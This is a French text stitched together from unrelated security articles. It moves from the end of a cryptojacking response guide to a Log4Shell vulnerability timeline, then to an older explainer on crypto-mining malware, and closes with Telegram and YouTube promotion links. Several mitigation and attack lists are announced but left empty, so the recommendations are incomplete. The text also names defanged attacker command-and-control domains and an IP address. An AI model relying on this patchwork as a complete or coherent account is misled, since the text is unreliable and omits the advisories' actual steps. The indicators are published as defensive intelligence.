Arrêter les instances de conteneurs compromises. L'infrastructure cloud immuable comme les instances de conteneurs compromises par des mineurs de pièces peut également être gérée simplement, en arrêtant les instances de conteneurs infectées et en repartant de zéro. Cependant, les organisations doivent creuser les causes profondes qui ont conduit à la compromission du conteneur en premier lieu. Cela signifie rechercher des signes que le tableau de bord du conteneur et les identifiants ont été compromis et examiner les ressources cloud connectées pour détecter des signes de compromission. Une étape clé consiste à s'assurer que la nouvelle image de conteneur fraîche qui remplace l'ancienne n'est pas configurée de manière similaire.
Réduire les permissions et régénérer les clés API. Pour éradiquer et se remettre complètement d'un cryptojacking dans le cloud, les organisations devront réduire les permissions sur les ressources cloud impactées (et celles qui y sont connectées) et régénérer les clés API pour empêcher les attaquants de revenir directement dans le même environnement cloud.
Apprendre et s'adapter. Utilisez l'expérience pour mieux comprendre comment l'attaquant a pu compromettre vos systèmes. Mettez à jour la formation de vos utilisateurs, du service d'assistance, des équipes informatiques et des analystes SOC afin qu'ils soient mieux à même d'identifier les tentatives de cryptojacking et d'y répondre en conséquence.
Note de la rédaction : Cet article, initialement publié en février 2018, a été mis à jour pour inclure de nouvelles recherches, les meilleures pratiques et des exemples de cryptojacking.
La vulnérabilité Apache Log4j a fait la une des journaux dans le monde entier depuis sa découverte début décembre. La faille a impacté un grand nombre d'organisations à travers le monde alors que les équipes de sécurité se sont précipitées pour atténuer les risques associés. Voici une chronologie des événements clés entourant la vulnérabilité Log4j tels qu'ils se sont déroulés.
Apache a publié des détails sur une vulnérabilité critique dans Log4j, une bibliothèque de journalisation utilisée dans des millions d'applications Java. Les attaquants ont commencé à exploiter la faille (CVE-2021-44228) – surnommée « Log4Shell », qui a été notée 10 sur 10 sur l'échelle de notation des vulnérabilités CVSS. Elle pourrait conduire à une exécution de code à distance (RCE) sur les serveurs sous-jacents qui exécutent des applications vulnérables. « Un attaquant qui peut contrôler les messages de journalisation ou les paramètres des messages de journalisation peut exécuter du code arbitraire chargé depuis des serveurs LDAP lorsque la substitution de recherche de message est activée », ont écrit les développeurs d'Apache dans un avis. Un correctif pour le problème a été mis à disposition avec la publication de Log4j 2.15.0 alors que les équipes de sécurité du monde entier travaillaient à protéger leurs organisations. Les entreprises ont été invitées à installer la dernière version.
Alors que les retombées de la vulnérabilité se poursuivaient, le National Cyber Security Centre (NCSC) du Royaume-Uni a émis un avertissement public aux entreprises britanniques concernant la faille et a décrit des stratégies d'atténuation. Le NCSC a conseillé à toutes les organisations d'installer la dernière mise à jour immédiatement là où Log4j était connu pour être utilisé. « Cela devrait être la première priorité pour toutes les organisations britanniques utilisant des logiciels qui incluent Log4j. Les organisations devraient mettre à jour à la fois les logiciels exposés à Internet et ceux qui ne le sont pas », indique le communiqué. Les entreprises ont également été invitées à rechercher les instances inconnues de Log4j et à déployer une surveillance/blocage réseau protecteur.
Tout comme le NCSC britannique, la Cybersecurity and Infrastructure Security Agency (CISA) américaine a répondu publiquement à la vulnérabilité Log4j, sa directrice Jen Easterly réfléchissant au défi urgent qu'elle représentait pour les défenseurs de réseaux. « La CISA travaille en étroite collaboration avec nos partenaires publics et privés pour traiter de manière proactive une vulnérabilité critique affectant les produits contenant la bibliothèque logicielle Log4j », a-t-elle déclaré dans un communiqué. « Nous prenons des mesures d'urgence pour conduire l'atténuation de cette vulnérabilité et détecter toute activité de menace associée. Nous avons ajouté cette vulnérabilité à notre catalogue de vulnérabilités connues exploitées, ce qui oblige les agences civiles fédérales – et signale aux partenaires non fédéraux – à corriger ou remédier d'urgence à cette vulnérabilité. Nous contactons de manière proactive les entités dont les réseaux pourraient être vulnérables et utilisons nos outils de scan et de détection d'intrusion pour aider les partenaires gouvernementaux et industriels à identifier l'exposition ou l'exploitation de la vulnérabilité. »
La CISA a recommandé aux propriétaires d'actifs de prendre trois mesures supplémentaires et immédiates pour aider à atténuer la vulnérabilité :
Une deuxième vulnérabilité impactant Apache Log4j a été découverte. Le nouvel exploit, CVE-2021-45046, permettait à des acteurs malveillants de concevoir des données d'entrée malveillantes en utilisant un modèle de recherche JNDI pour créer des attaques par déni de service (DoS), selon la description CVE. Un nouveau correctif pour l'exploit a été mis à disposition, qui supprimait la prise en charge des modèles de recherche de messages et désactivait les fonctionnalités JNDI par défaut, le correctif de la version 2.15.0 pour la faille originale étant incomplet dans certaines configurations non par défaut.
« Bien que CVE-2021-45046 soit moins grave que la vulnérabilité originale, il devient un autre vecteur pour les acteurs menaçants de mener des attaques malveillantes contre des systèmes non corrigés ou mal corrigés », a déclaré Amy Chang, responsable du risque et de la réponse chez Resilience, à CSO peu après la découverte de la faille. « Le correctif incomplet de CVE-2021-44228 pourrait être abusé pour concevoir des données d'entrée malveillantes, ce qui pourrait entraîner une attaque DoS. Une attaque DoS peut arrêter une machine ou un réseau et le rendre inaccessible à ses utilisateurs prévus », a-t-elle ajouté. Les organisations ont été invitées à passer à Log4j 2.16.0 dès que possible.
Apache a publié les détails d'une troisième vulnérabilité majeure concernant Log4j et a mis à disposition un autre correctif. Il s'agissait d'une faille de récursion infinie notée 7,5 sur 10. « L'équipe Log4j a été informée d'une vulnérabilité de sécurité, CVE-2021-45105, qui a été corrigée dans Log4j 2.17.0 pour Java 8 et versions ultérieures », a-t-elle écrit. « Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursion incontrôlée provenant de recherches auto-référentielles. Lorsque la configuration de journalisation utilise un Pattern Layout non par défaut avec une Context Lookup (par exemple, $${ctx:loginId}), les attaquants ayant le contrôle sur les données d'entrée du Thread Context Map (MDC) peuvent concevoir des données d'entrée malveillantes contenant une recherche récursive, entraînant une StackOverflowError qui terminera le processus. C'est également connu sous le nom d'attaque par déni de service (DoS). »
Apache a également décrit les atténuations suivantes :
Le groupe de recherche en cybersécurité Cryptolaemus a averti que la vulnérabilité Log4j était exploitée pour infecter les appareils Windows avec le cheval de Troie bancaire Dridex et les appareils Linux avec Meterpreter. Dridex est une forme de malware qui vole les identifiants bancaires via un système utilisant des macros de Microsoft Word, tandis que Meterpreter est une charge utile d'attaque Metasploit qui fournit un shell interactif à partir duquel un attaquant peut explorer une machine cible et exécuter du code. Joseph Roosen, membre de Cryptolaemus, a déclaré à BleepingComputer que les acteurs menaçants utilisent la variante d'exploit Log4j RMI (Remote Method Invocation) pour forcer les appareils vulnérables à charger et exécuter une classe Java depuis un serveur distant contrôlé par l'attaquant.
Les données publiées par le fournisseur de cybersécurité Tenable ont révélé qu'un actif sur dix était vulnérable à Log4Shell, tandis que 30% des organisations n'avaient pas commencé à rechercher le bogue. « Parmi les actifs qui ont été évalués, Log4Shell a été trouvé dans environ 10% d'entre eux, y compris une large gamme de serveurs, applications web, conteneurs et appareils IoT », indique un article de blog de Tenable. « Log4Shell est omniprésent dans toutes les industries et toutes les zones géographiques. Un serveur d'entreprise sur dix est exposé. Une application web sur dix, et ainsi de suite. Un dixième de presque tous les aspects de notre infrastructure numérique a un potentiel d'exploitation malveillante via Log4Shell. »
Le fournisseur a averti que Log4Shell représente une menace potentielle plus grande qu'EternalBlue (exploité dans les attaques WannaCry) en raison de l'omniprésence de Log4j à la fois dans l'infrastructure et les applications. « Aucune vulnérabilité unique dans l'histoire n'a aussi clairement appelé à une remédiation. Log4Shell définira l'informatique telle que nous la connaissons, séparant ceux qui font l'effort de se protéger et ceux qui se contentent d'être négligents », a-t-il ajouté.
La Federal Trade Commission (FTC) a exhorté les organisations américaines à corriger immédiatement la vulnérabilité Log4Shell, sous peine de faire face à des mesures punitives de la part de l'agence. « Lorsque des vulnérabilités sont découvertes et exploitées, cela entraîne un risque de perte ou de violation d'informations personnelles, une perte financière et d'autres préjudices irréversibles. Le devoir de prendre des mesures raisonnables pour atténuer les vulnérabilités logicielles connues implique les lois, notamment la Loi sur la Federal Trade Commission et la Gramm Leach Bliley Act », a déclaré la FTC. Elle a ajouté qu'il est essentiel que les entreprises et leurs fournisseurs qui utilisent Log4j agissent maintenant pour réduire la probabilité de préjudices pour les consommateurs et éviter des poursuites judiciaires de la FTC. « La FTC entend utiliser toute son autorité légale pour poursuivre les entreprises qui ne prennent pas de mesures raisonnables pour protéger les données des consommateurs contre une exposition résultant de Log4j, ou de vulnérabilités similaires connues à l'avenir. »
Microsoft a mis à jour sa page de conseils sur la vulnérabilité Log4j avec des détails sur un opérateur de ransomware basé en Chine (DEV-0401) ciblant les systèmes exposés à Internet et déployant le ransomware NightSky. « Dès le 4 janvier, des attaquants ont commencé à exploiter la vulnérabilité CVE-2021-44228 dans des systèmes exposés à Internet utilisant VMware Horizon », a-t-elle écrit. « DEV-0401 a précédemment déployé plusieurs familles de ransomwares, notamment LockFile, AtomSilo et Rook, et a également exploité des systèmes exposés à Internet utilisant Confluence (CVE-2021-26084) et des serveurs Exchange sur site (CVE-2021-34473). » Selon l'analyse de Microsoft, les attaquants ont été découverts en train d'utiliser des serveurs de commande et de contrôle (CnC) usurpant des domaines légitimes. Ceux-ci incluent service[.]trendmrcio[.]com, api[.]rogerscorp[.]org, api[.]sophosantivirus[.]ga, apicon[.]nvidialab[.]us, w2zmii7kjb81pfj0ped16kg8szyvmk.burpcollaborator[.]net et 139[.]180[.]217[.]203.
Sécurité 101 : L'impact des malwares de minage de cryptomonnaies
Le gouvernement australien vient de reconnaître la monnaie numérique comme moyen de paiement légal. Depuis le 1er juillet, les achats effectués avec des monnaies numériques comme le bitcoin sont exonérés de la taxe sur les biens et services du pays pour éviter la double imposition. Ainsi, les traders et investisseurs ne seront pas taxés pour l'achat et la vente via des plateformes d'échange légales.
Le Japon, qui a légalisé le bitcoin comme moyen de paiement en avril dernier, s'attend déjà à ce que plus de 20 000 commerçants acceptent les paiements en bitcoin. D'autres pays rejoignent le mouvement, bien que partiellement : des entreprises et certaines organisations publiques en Suisse, Norvège et Pays-Bas. Dans une étude récente, le nombre d'utilisateurs actifs uniques de portefeuilles de cryptomonnaies est estimé entre 2,9 et 5,8 millions, dont la plupart se trouvent en Amérique du Nord et en Europe.
Mais quel est le rapport entre l'acceptation et l'adoption des monnaies numériques et les menaces en ligne ? Beaucoup, en réalité. Alors que les cryptomonnaies comme le bitcoin gagnent en traction dans le monde réel, les menaces cybercriminelles qui les exploitent feront de même. Mais comment exactement ? Qu'est-ce que cela signifie pour les entreprises et les utilisateurs quotidiens ?
Une cryptomonnaie est une chaîne de données chiffrée qui représente une unité monétaire. Elle est surveillée et organisée par un réseau peer-to-peer également appelé blockchain, qui sert également de registre sécurisé des transactions, par exemple l'achat, la vente et le transfert. Contrairement à la monnaie physique, les cryptomonnaies sont décentralisées, ce qui signifie qu'elles ne sont pas émises par les gouvernements ou d'autres institutions financières.
Les cryptomonnaies sont créées (et sécurisées) via des algorithmes cryptographiques maintenus et validés dans un processus appelé minage, où un réseau d'ordinateurs ou de matériel spécialisé comme des circuits intégrés spécifiques à une application (ASIC) traitent et valident les transactions. Ce processus récompense les mineurs qui font fonctionner le réseau avec la cryptomonnaie.
Il existe en réalité plus de 700 cryptomonnaies, mais seulement certaines sont facilement échangées et encore moins ont une capitalisation boursière supérieure à 100 millions de dollars. Le bitcoin, par exemple, a été créé par Satoshi Nakamoto (pseudonyme) et publié en 2009 en tant que code open source. La technologie blockchain a permis son fonctionnement, fournissant un système où des structures de données (blocs) sont diffusées, validées et enregistrées dans une base de données publique et distribuée via un réseau de points de communication (nœuds).
Bien que le bitcoin soit la cryptomonnaie la plus célèbre, il existe d'autres alternatives populaires. Ethereum a porté les « contrats intelligents » à un niveau supérieur en rendant les langages de programmation nécessaires pour les coder plus accessibles aux développeurs. Les accords, ou transactions conditionnelles (si-alors), sont écrits sous forme de code et exécutés (tant que les conditions sont remplies) dans la blockchain d'Ethereum.
Ethereum a cependant acquis une notoriété après qu'un pirate a exploité une vulnérabilité dans l'Organisation Autonome Numérique (DAO) fonctionnant sur le logiciel d'Ethereum, siphonnant 50 millions de dollars US en ether (la monnaie d'Ethereum). Cela a conduit au développement d'Ethereum Classic, basé sur la blockchain d'origine, et d'Ethereum, sa version améliorée (via un hard fork).
Il existe également d'autres cryptomonnaies notables : Litecoin, Dogecoin, Monero. Litecoin est une prétendue amélioration technique du Bitcoin, capable de délais d'exécution plus rapides grâce à son algorithme de minage Scrypt (Bitcoin utilise SHA-256). Le réseau Litecoin peut produire 84 millions de Litecoins — quatre fois plus d'unités de cryptomonnaie émises par Bitcoin. Monero se distingue par l'utilisation de signatures en anneau (un type de signature numérique) et du protocole de couche applicative CryptoNote pour protéger la confidentialité de ses transactions — montant, origine et destination. Dogecoin, initialement développé à des fins éducatives ou de divertissement, était destiné à un public plus large. Capable de générer un nombre illimité de dogecoins, il utilise également Scrypt pour faire fonctionner la monnaie.
Les cryptomonnaies n'ont pas de frontières — n'importe qui peut les envoyer à tout moment et n'importe où, sans délais ni frais supplémentaires/cachés de la part des intermédiaires. De par leur nature, elles sont plus sécurisées contre la fraude et l'usurpation d'identité car les cryptomonnaies ne peuvent pas être contrefaites, et les informations personnelles sont derrière un mur cryptographique.
Malheureusement, la rentabilité apparente, la commodité et la pseudonymie des cryptomonnaies les ont également rendues idéales pour les cybercriminels, comme l'ont montré les opérateurs de ransomware. La popularité croissante des cryptomonnaies coïncide avec les incidents de malwares qui infectent les systèmes et les appareils, les transformant en armées de machines de minage de cryptomonnaies.
Le minage de cryptomonnaies est une tâche nécessitant beaucoup de calculs, qui requiert des ressources importantes de la part de processeurs dédiés, de cartes graphiques et d'autres matériels. Bien que le minage génère de l'argent, il y a de nombreuses mises en garde. Le profit est relatif à l'investissement du mineur dans le matériel, sans parler des coûts d'électricité pour les alimenter.
Les cryptomonnaies sont minées par blocs ; dans le bitcoin, par exemple, chaque fois qu'un certain nombre de hachages sont résolus, le nombre de bitcoins pouvant être attribués au mineur par bloc est réduit de moitié. Étant donné que le réseau bitcoin est conçu pour générer la cryptomonnaie toutes les 10 minutes, la difficulté de résoudre un autre hachage est ajustée. Et à mesure que la puissance de minage augmente, l'exigence de ressources pour miner un nouveau bloc s'accumule. Les paiements sont relativement faibles et finissent par diminuer tous les quatre ans — en 2016, la récompense pour le minage d'un bloc a été réduite de moitié à 12,5 BTC (soit 32 000 $ au 5 juillet 2017). Par conséquent, beaucoup se regroupent en pools pour rendre le minage plus efficace. Le profit est divisé entre le groupe, en fonction de l'effort fourni par chaque mineur.
Les malfaiteurs se tournent vers les malwares pour contourner ces défis. Il y a cependant une mise en garde pour les mineurs cybercriminels : les appareils et machines connectés à Internet, bien qu'assez rapides pour traiter les données réseau, n'ont pas de capacités de calcul étendues. Pour compenser, les malwares de minage de cryptomonnaies sont conçus pour zombifier des botnets d'ordinateurs afin d'effectuer ces tâches. D'autres ont évité toute subtilité — en 2014, le cluster de supercalculateurs Odyssey de Harvard a été utilisé illicitement pour miner des dogecoins. La même année, un incident similaire s'est produit avec les supercalculateurs de l'agence américaine National Science Foundation. Début février 2017, l'un des serveurs de la Réserve fédérale américaine a été utilisé abusivement pour miner des bitcoins.
Les malwares de minage de cryptomonnaies emploient le même mode opératoire que de nombreuses autres menaces — des spams contenant des malwares et des téléchargements depuis des URL malveillantes aux logiciels indésirables et applications potentiellement indésirables (PUA). En janvier 2014, une vulnérabilité dans le réseau publicitaire basé sur Java de Yahoo! a été compromise, exposant les utilisateurs européens à des malvertisements délivrant un malware de minage de bitcoins. Un mois auparavant, les forces de l'ordre allemandes ont arrêté des pirates présumés pour avoir utilisé des malwares afin de miner plus de 954 000 $ de bitcoins.
Nous avons observé l'émergence d'outils de piratage et de portes dérobées liés au minage de bitcoins par des cybercriminels dès 2011, et nous avons depuis vu une variété de menaces de minage de cryptomonnaies ajoutant d'autres capacités, comme le déni de service distribué et l'usurpation d'URL. Un autre a même tenté de se faire passer pour un composant de l'un des produits de Trend Micro. En 2014, la menace a migré vers les appareils Android sous le nom de Kagecoin, capable de miner du bitcoin, du litecoin et du dogecoin. Un cheval de Troie d'accès à distance (RAT) njrat/Njw0rm largement partagé dans le milieu souterrain du Moyen-Orient a été modifié pour ajouter une fonctionnalité de minage de bitcoins. La même chose a été faite à un ancien Java RAT capable de miner du litecoin.
Les malwares de minage de cryptomonnaies notables de cette année jusqu'à présent sont Adylkuzz, CPUMiner/EternalMiner et Linux.MulDrop.14. Tous exploitent des vulnérabilités. Adylkuzz exploite EternalBlue, la même faille de sécurité que le ransomware WannaCry a utilisé de manière destructive, tandis que CPUMiner/EternalMiner a utilisé SambaCry, une vulnérabilité dans la suite logicielle d'interopérabilité Samba. Linux.MulDrop.14, un cheval de Troie Linux, cible les appareils Raspberry Pi. Ces menaces ont infecté des appareils et machines et les ont transformés en botnets de minage de monero.
Les malwares de minage de cryptomonnaies volent les ressources des machines infectées, affectant considérablement leurs performances et augmentant leur usure. Une infection entraîne également d'autres coûts, comme une consommation d'énergie accrue.
Mais nous avons également découvert que leur impact va au-delà des problèmes de performances. Du 1er janvier au 24 juin 2017, nos capteurs ont détecté 4 894 mineurs de bitcoins qui ont déclenché plus de 460 259 activités de minage de bitcoins, et ont constaté que plus de 20 % de ces mineurs ont également déclenché des attaques web et réseau. Nous avons même trouvé des tentatives d'intrusion liées à un vecteur d'attaque de ransomware. Les attaques les plus courantes que nous avons observées étaient :
Ces malwares peuvent menacer la disponibilité, l'intégrité et la sécurité d'un réseau ou d'un système, ce qui peut potentiellement entraîner des perturbations des opérations critiques d'une entreprise. Le vol d'informations et le détournement de système sont également des répercussions redoutables. Ces attaques peuvent également servir de vecteur pour la livraison de malwares supplémentaires.
Les appareils Internet des objets (IoT) sont également dans le viseur des malwares de minage de cryptomonnaies — des enregistreurs vidéo numériques (DVR)/caméras de surveillance, boîtiers décodeurs, périphériques de stockage en réseau (NAS), et surtout les routeurs, étant donné leur omniprésence dans les environnements domestiques et professionnels. En avril 2017, une variante de Mirai a fait surface avec des capacités de minage de bitcoins. La notoriété de Mirai provient des ravages qu'elle a causés dans les appareils IoT, en particulier les routeurs domestiques, les utilisant pour mettre hors ligne des sites très médiatisés l'année dernière. Au cours des trois premiers trimestres de 2016, nous avons détecté une armée zombie de minage de bitcoins composée de systèmes Windows, de routeurs domestiques et de caméras IP.
Du 1er janvier au 24 juin 2017, nous avons également observé différents types d'appareils minant du bitcoin, bien que notre télémétrie ne puisse pas vérifier si ces activités étaient autorisées. Nous avons également vu les activités de minage de bitcoins augmenter de 40 %, passant de 1 800 événements déclenchés quotidiennement en février à 3 000 en mars 2017.
Bien que le minage de bitcoins ne soit pas intrinsèquement illégal (du moins dans de nombreux pays), il peut entraîner un compromis s'il se fait sans la connaissance et le consentement du propriétaire. Nous avons constaté que les machines sous Windows présentaient le plus d'activités de minage de bitcoins, mais également notables sont :
[LIRE : Comment sécuriser votre routeur contre Mirai et les attaques réseau domestique]
Les malwares de minage de cryptomonnaies peuvent nuire aux performances du système et exposer les utilisateurs finaux et les entreprises au vol d'informations, au détournement et à une pléthore d'autres malwares. Et en transformant ces machines en zombies, les malwares de cryptomonnaies peuvent même involontairement faire des victimes une partie du problème.
En effet, leur impact négatif sur les appareils qu'ils infectent — et en fin de compte sur les actifs d'une entreprise ou les données d'un utilisateur — en fait une menace crédible. Il n'existe pas de solution miracle pour ces malwares, mais ils peuvent être atténués en suivant ces bonnes pratiques :
Les administrateurs informatiques/systèmes et les professionnels de la sécurité de l'information peuvent également envisager la mise sur liste blanche d'applications ou des mécanismes de sécurité similaires qui empêchent l'exécution ou l'installation d'exécutables suspects. La surveillance proactive du trafic réseau permet de mieux identifier les signaux d'alarme pouvant indiquer une infection par un malware. L'application du principe du moindre privilège, le développement de contre-mesures contre les injections web, la sécurisation de la passerelle e-mail, la mise en œuvre de bonnes pratiques pour les appareils mobiles d'entreprise et le développement d'une main-d'œuvre sensibilisée à la cybersécurité font partie d'une approche de défense en profondeur visant à réduire l'exposition d'une entreprise à ces menaces. En fin de compte, cependant, la sécurité des appareils connectés à Internet contre les logiciels malveillants de minage de cryptomonnaies n'est pas seulement une charge pour leurs utilisateurs. Les fabricants d'équipements d'origine et de conception jouent également des rôles essentiels dans la sécurisation des écosystèmes dans lesquels ils évoluent.
Telegram : https://t.me/cryptodeeptech
Vidéo : https://youtu.be/PNDBjoT83zA
Source : https://cryptodeeptech.ru/log4j-vulnerability
